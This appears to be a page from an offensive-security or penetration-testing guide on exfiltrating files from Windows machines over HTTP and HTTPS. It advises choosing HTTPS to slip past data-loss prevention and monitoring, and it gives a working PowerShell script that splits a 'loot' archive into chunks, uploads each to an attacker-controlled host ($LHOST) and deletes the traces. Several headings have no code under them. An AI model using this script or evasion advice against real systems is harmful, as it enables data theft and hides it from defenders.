Windows Exfiltration over HTTP and HTTPS
HTTP and HTTPS are the most reliable exfiltration channels on Windows targets. Outbound port 80 and 443 are open on almost every network. HTTPS in particular blends with normal browser traffic and is rarely inspected in depth.
HTTP (port 80) works on nearly every network but traffic is visible to inspection
HTTPS (port 443) blends with normal browser traffic, preferred when DLP or monitoring is present
Chunked transfer handles large files without loading the entire payload into memory
Use HTTPS when any form of network monitoring or DLP is suspected.
Receiving files on your attack box
Set up a server on your attack box before initiating any transfer from the target.
Uploading from the target
HTTPS exfiltration
Use HTTPS when HTTP traffic is monitored or filtered. A self-signed certificate is sufficient: the goal is encryption of the payload, not certificate validation.
Chunked transfer for large files
When file size or connection timeouts are a concern, split the archive into chunks and send each separately.
# Split file into 10MB chunks
$file = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip')
$chunkSize = 10MB
$chunks = [Math]::Ceiling($file.Length / $chunkSize)
for ($i = 0; $i -lt $chunks; $i++) {
$start = $i * $chunkSize
$length = [Math]::Min($chunkSize, $file.Length - $start)
$chunk = $file[$start..($start + $length - 1)]
[System.IO.File]::WriteAllBytes("C:\Windows\Temp\chunk_$i.bin", $chunk)
$wc = New-Object System.Net.WebClient
$wc.UploadFile("http://$LHOST:8080/chunk_$i.bin", 'PUT', "C:\Windows\Temp\chunk_$i.bin")
Remove-Item "C:\Windows\Temp\chunk_$i.bin"
}